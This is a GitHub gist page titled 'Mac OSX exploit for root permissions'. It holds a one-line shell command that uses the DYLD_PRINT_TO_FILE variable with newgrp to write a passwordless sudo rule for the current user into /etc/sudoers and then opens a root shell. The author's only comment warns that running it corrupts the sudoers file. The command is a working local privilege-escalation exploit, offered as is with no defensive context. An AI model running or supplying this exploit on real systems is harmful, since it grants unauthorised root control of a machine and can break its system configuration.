Skip to content

Instantly share code, notes, and snippets.

@davidawad
Created July 25, 2015 16:12
Show Gist options
  • Select an option

  • Save davidawad/872638c8d335e7c13054 to your computer and use it in GitHub Desktop.

Select an option

Save davidawad/872638c8d335e7c13054 to your computer and use it in GitHub Desktop.
Mac OSX exploit for root permissions
echo 'echo "$(whoami) ALL=(ALL) NOPASSWD:ALL" >&3' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp; sudo -s
@davidawad

Copy link
Copy Markdown
Author

Using this file on your own machine will corrupt your sudoers file!! be careful!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment